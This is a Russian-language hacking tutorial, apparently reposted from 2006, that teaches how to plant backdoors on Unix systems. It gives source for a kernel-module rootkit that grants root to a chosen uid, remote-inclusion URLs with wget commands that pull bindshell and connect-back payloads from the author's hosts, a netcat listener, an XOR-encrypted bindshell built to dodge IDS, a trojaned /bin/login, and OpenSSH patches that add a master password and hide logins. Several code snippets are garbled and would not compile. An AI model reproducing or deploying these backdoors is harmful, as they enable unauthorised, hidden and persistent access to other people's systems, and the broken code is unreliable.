Информационные технологииStfw.Ru 🔍

*nix-бэкдоры в подробностях

В этой статье я хотел бы рассказать о принципах работы с бэкдорами в *nix-like осях и, частично, об их написании.
🕛 20.01.2006, 03:06
Вступление

В этой статье я хотел бы рассказать о принципах работы с бэкдорами в *nix-like осях и, частично, об их написании. Сразу скажу - первая часть статьи рассчитана на новичков. Для начала разберемся, что такое бэкдор и с чем его едят. Бэкдор - слово, безусловно, красивое. С английского ("BackDoor") - переводится как "потайная дверь". Бэкдоры используются хакерами для несанкционированного доступа к определенному компьютеру - иными словами - запасной вход во взломанную систему. В принципе, бэкдором можно назвать и троян, который в любой момент может предоставить шелл доступ к файловой системе. Самое подавляющее большинство бэкдоров работает под ОС Windows, но как ясно из названия статьи - все, что мы будем разбирать, будет под *nix-like ОС. Также, для дальнейшего чтения статьи требуется хоть какое-то знание кодинга под *nix или английского языка, чтобы дословно понять исходник :). И, конечно же, самих *nix-like систем :)

Вот план нашей работы:
Введение в бэкдоры
Написание бэкдоров
Протроянивание демонов
Другие аспекты 'бэкдоринга'

Так как я обещал рассказать о *nix-бэкдорах, то не буду терять драгоценное время - поехали!

:: Wait... Loading... Done.
:: Connecting to user's brain... Done.
:: Begin copying new information? YES/NO.
:: > yes
:: Loading new information...

Введение

Бэкдоры в unix-системе можно разделить на два типа:
удаленный
локальный

Каждый из этих двух типов можно разделить еще на несколько. Удаленный бэкдор - это бэкдор, который может предоставить шелл к машине удаленно, локальный бэкдор - бэкдор, который предоставит какие-то привилегии локально. В общем, сказать тут "пару слов" не получится и если ты еще не спишь, то предлагаю разобраться подробнее.

Local backdoor - локальный бэкдор

Так как бэкдор - это потайная дверь, то не обязательно это может быть удаленный доступ к серверу - может быть и локальный. Вот, например, хакер имел законные привилегии обычного пользователя в ОС linux. Некоторые директории были закрыты от его любопытных глаз. Не долго думая хаксор натравил на старую версию linux'a 2.4.3 всем уже до боли известный эксплоит ptrace (в описании бага в ядре linux'a думаю, ты не нуждаешься :)) и порутал тачку. Осталось закрепиться в системе. Конечно, можно отснифать пароль, затроянить бинарники, попробовать расшифровать /etc/shadow, но вход под аккаунтом root будет логироваться везде - достаточно админу выполнить команду last и он увидит, что пока он вчера пил пиво с соседом, кто-то из под его учетки шарился по системе и т.д, системы слежения за целостностью файлов будут трещать - tripwire не спит. Но зачем лишний гемор? Хакер сделает проще. С помощью не хитрого LKM и перехватом системных вызовов, его uid (пусть будет 31337) при входе в систему будет меняться на uid=0 (uid рута). Этот метод "uid-changer" был описан мной в статье "Троянизация Тукса - операция TooxKit". Он будет перехватывать системный вызов systemuid() в linux ветках 2.4.x, и если идентификатор пользователя будет равен 31337, то ему присваивается uid, равный нулю, тем самым пользователь с uid'ом = 31337 сможет выполнять команды из под учетной записи root:

/* UID_CHANGER BackDoor 4 Linux 2.4.x by _1nf3ct0r_ */
#define _KERNEL_ 
#define MODULE
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <sys/syscall.h>
#include <linux/sched.h>
#include <linux/types.h>

int new_setuid(uid_t);
int (*real_setuid) (uid_t);
extern void *sys_call_table[];

int init_module ()
{
register struct module *mp asm("$ebx");
*(char *) (mp->name) = 'd'; *char(char *) (mp->name+1) = 's';
*(char *) (mp->name+2) = '2'; *char(char *) (mp->name+3)= '{PAGEEDIT_FORM_TEXTBOXER}';
real_setuid = sys_call_table[ SYS_setuid ];
sys_call_table[ SYS_setuid ] = (void *)new_setuid;
return 0;
}

int int cleanup_module() 
{
if (uid == 31337 ) 
{
current->uid=0; current->gid=0;
current->euid=0; current->egid=0
return 0;
}
return (*real_setuid) (uid);
}
MODULE_LICENSE("GPL");

Если тебе стала интересна данная тема (non-kernel & LKM rootkits), то советую прочитать мою статью "Троянизация Тукса - операция ТуксКит". Теперь о удаленных бэкдорах ;)

Remote backdoor - удаленный бэкдор

Данный тип бэкдоров самый распространенный. Их можно разделить на 2 подтипа - "Bind Shell" и "Connect Back". Оба они отличаются друг от друга принципом предоставления шелл-доступа. Будем разбирать на примерах.

Хакер сумел выполнить команду через бажный php-скрипт (как он выполнил - не суть важно) и тем самым получил привилегии nobody. Одна половина хакеров использует PHP-шеллы (мне лично они удобны только для навигацией по системе), а другая половина больше любит консоль (к этим я и отношусь). У первой половины проблем не возникает (safe-mode и т.д - не в счет) - закачал шелл, назвал его как-нибудь config.php, засунул куда подальше и жди пока админ его найдет... А вторая половина сделает так (допустим есть wget, perl, никаких фильтраций нет...бэкдор - bindshell.pl, настроен на 4000 порт):

http://includer.ru/top.php?header=http://1nf3ct0r.nm.ru/1/cmd.php& cmd=wget -O bindshell.pl 1nf3ct0r.nm.ru/1/ bindshell.pl;

Бэкдор закачается. Далее мы его запускаем (perl) и можем приконнектиться на 40000 порт, получив полноценный шелл и юзая консоль :)) - это BindShell. Но вроде бы все ничего. Но этот метод проходит только тогда, когда файрвол не режет соединения с тачкой. "А если режет? Как мы обойдем файрвол", - спросишь ты. То тогда мы воспользуемся не Bind Shell-бэкдорами а... правильно, Connect Back - бэкдорами, которые обходят файрвол по следующему принципу: бэкдор попытается сам приконнектится к клиенту, который слушает n'ый порт (допустим, тот же netcat) и тем самым обходит файрвол. Немного переделаем прошлый пример - допустим есть wget, gcc, никаких фильтраций нет (бэкдор - connectback.c. настроен на 4000 порт):

http://includer.ru/top.php?header= http://infectors.narod.ru/hack/cmd.php&cmd=wget -O connectback.c http://1nf3ct0r.nm.ru/1/connectback.c;

Бэкдор закачается. Мы его скомпилим (GCC) и запустим с параметрами ./cbd 123.456.78.90, где 123.456.78.90 - IP-адрес машины, в которую должен стукнуть бэкдор (будь то хоть взломанная тачка или твоя машина (хоть с Windows)). Для начала надо скачать утилиту netcat. Установив netcat запускаем его:

nc -l -p 4000 или nc -vv -l -p4000

NetCat будет слушать 4000 порт и бэкдор сам подключится к тебе, тем самым обойдя файрвол :) Не буду заставлять тебя применять гугль - вот код самого бэкдора "Digit-Labs Connect-Back Backdoor" - он был избран мной (и не только) уже давно, поэтому его можно отнести к "джентльменскому набору" - http://1nf3ct0r.nm.ru/hack/bdw.c Кстати говоря, NetCat можно использовать также в качестве бэкдора и он имеет сотни методов применения ;)

Но это всего лишь nobody бэкдор. Root'овые бэкдоры не особо сильно отличаются от nobody-бэкдоров, но все же мы их рассмотрим чуть далее ;). На этом, пожалуй, все. Мы рассмотрели основы использования *nix-бэкдоров, думаю вопросов не осталось, так как все было рассказано подробно. Перейдем к более серьезному - написание продвинутых бэкдоров с использованием шифрования трафика, ICMP-WakeUp-технологий, технологий сокрытия бэкдора от IDS и т.д. В общем, не вешай нос, нас ждут великие дела :)

Разберем Nobody Bind-Shell XORing traffic бэкдоры.

Продвинутые бэкдоры

Любой грамотный администратор никогда не будет полностью доверять какому-нибудь антивирусу для никсов или IDS для поиска руткитов (например, chrootkit, rkhunter), чтобы найти в системе руткит или бэкдор - он прибегнет к помощи сниферов и IDS (тот же Snort), отслеживающих трафик. От IDS еще можно укрыться, а вот от снифера - никуды. Что делать? Использовать шифрование трафика! Для этого можно использовать разные алгоритмы шифрования трафика - BlowFish, TwoFish, xTea, IDEA или тот же XOR. Такой бэкдор мы сейчас же напишем с тобой! Но не стоит забывать, что даже самый глупый админ заметит утечку гигабайтного трафика :)

Для начала напишем TCP XORing bindshell backdoor - бэкдор, ксорящий данные от сервера до клиента для сокрытия трафика от IDS и биндящий шелл на заданном порту. Наш байт XOR шифрования будет объявлен константой code (const code = 0x07;), а порт будет биндиться на 31337 порту (port = 31337) - в случае чего - смотри исходники. Первое, что надо сделать в бэкдоре... нет, не объявить инклуды и переменные, а написать функцию "ввода/вывода", которая бы передавала данные от командного интерпретатора до клиента:

if (FD_ISSET(pipes2[0],&fds)) {
lens = read(pipes2[0], bufs, 2000);
if ((lens <= 0) && (lens != -4)) break;

Это, естественно, не вся функция ввода/вывод, просто кусок кода, на который следовало бы обратить внимание :). Как я уже отметил выше, главное в бэкдорах, использующих шифрование трафика - кодирование и декодирование данных серверной и клиентской частью, код которого мы сейчас и напишем:

Шифруем данные перед отправкой (const code = 0x07;):

for(i=0;i<lens;i++)
*(bufs+i) ^= code;
if (write(sock2,bufs, lens)<0) break;

А вот дешифрацию данных будем проводить так:

for(i=0;i<lens;i++) 
*(bufs+i) ^= code;
if (write(pipes1[1], bufs, lens)<0) break; 

Далее все очень просто:
Отправлять серверной части пароль при коннекте с клиентской
Получив заветный пароль, серверная часть принимается за его проверку
Затем наш бэкдор будет слушать порт 31337 и при коннекте на него запустит командный интерпретатор (по дефолту - /bin/sh), все это не так сложно, поверь мне :)

После того, как мы написали серверную часть бэкдора, мы должны написать клиентскую - куда ж без нее? Работать все будет по следующему принципу:

Клиентская часть запускается с параметрами [TCP/UDP-протокол] [Хост] [Порт] [Пароль]. Далее мы будем подключаться к серверу:

if (pr) // TCP
if (connect(sock,(struct sockaddr *) &sin, sz)<0){ // Подключаемся
perror("[-] connect()"); // Облом :(
exit(0);

и если нас не постиг "Облом :(", то переходим к следующему этапу - проверка пароля серверной частью. Все! Если пасс верный - мы подключились. Далее снова идут ф-ии шифрации и дешифрации и окончание кода:

// Зашифровываем данные...
for(i=0;i<lens;i++)
*(bufs+i) ^= code ;
if (pr) lens = write(sock,bufs, lens); // Считываем
else lens = sendto(sock, bufs, lens, 0, (struct sockaddr *)&sin, sz); // Отправляем
printf("read/send\n");
if (lens<0) {perror("send()|write()"); break;} // Облом ;(
// ...
// Декодируем данные
for(i=0;i<lens;i++) 
*(bufs+i) ^= code;
if (write(1, bufs, lens)<0) {perror("write()"); break;}
// ...

В общем, все работает как часы - зашифровываем данные - передаем на расшифровку от клиента к серверу и наоборот. Остальное - стандартные функции бэкдора. Я думаю, что здесь все ясно - достаточно знать основы программирования, а остальное интуитивно понятно...

Протрояненные демоны? Легко!

Также одним из самых популярных методов 'бэкдоринга' является протроянивание демонов ;)

- ImapD / Qpopd / Login - троян

Сейчас мы напишем с тобой бэкдор для imapd / qpopd / login - демонов требующий пасс в течении 3 секунд, использующий пароль "HellKnights" для входа в систему.

#define REALPATH "/bin/.login" // Реальный путь к демону, по умолчанию login
#define TROJAN "/bin/login" // Путь к троянЦцЦу
#define PASS "HellKnights" // Пароль для трояна
char **execute;
char passwd[7];
int main(int argc, char *argv[]) {
void connection();
signal(SIGALRM,connection);
alarm(3); // Лимит времени для ввода пасса
execute=argv;
*execute=TROJAN;
scanf("%s",passwd);
if(strcmp(passwd,PASS)==0) {
alarm(0);
execl("/bin/sh","/bin/sh","-i",0); // Командный интерпретатор для вызова
exit(0);
}
else
{
execv(REALPATH,execute);
exit(0);
}
}
void connection()
{
execv(REALPATH,execute);
exit(0);
}

Троянизация SSH-демона в качестве бэкдора

Итак... Определяем версию демона ssh (на моем шелле - OpenSSH 3.7.1) и скачиваем его исходники. Открываем auth-passwd.c, будет примерно такой код:

...
char *encrypted_password = xcrypt(password, (pw_password[0] && pw_password[1]) ? pw_password : "xx"); /* код, отвечающий за хэширование пароля */
return (strcmp(encrypted_password, pw_password)) && ok; /* Затрояниваем тут */
...
int /* далее идет ф-ция login_login(), которую мы протрояним */
login_login (struct logininfo *li) 
{ 
li->type = LTYPE_LOGIN; 
return login_write(li); 
} 
... 
int /* далее идет ф-ция login_logout(), которую мы протрояним */
login_logout (struct logininfo *li) 
{ 
li->type = LTYPE_LOGIN; 
return login_write(li); 
} 

И изменяем как тут:

int nolog; 
nolog: extern /* описываем переменную в начале кода */
...
if(strcmp(password,"hellknights") == 0) nolog=1;
char *encrypted_password = xcrypt(password, (pw_password[0] && pw_password[1]) ? pw_password : "xx");
...
/* троянизируем ф-цию login_login () */
int 
login_login (struct logininfo *li) 
{ 
if (nolog == 1) { return 1;} 
else 
{ 
li->type = LTYPE_LOGIN; 
return login_write(li);} 
} 
...
int /* троянизируем ф-цию login_logout () */
login_logout (struct logininfo *li) 
{ 
if (nolog == 1) { return 1;} 
else 
{ 
li->type = LTYPE_LOGIN; 
return login_write(li);} 
} 
После такой троянизации мы будем полностью невидимы в системе, но IDS, следящие за целостность файлов (наподобие Tripwire) сразу засекут такой бэкдор. Также мы будем светиться в netstat-листах и не сможем обойти файрвол, но честно говоря, такой метод я использовал много раз на системах, где не было Tripwire и все проходило на "ура!"

Информационная безопасность   Теги:

Читать IT-новости в Telegram
Информационные технологии
Мы в соцсетях ✉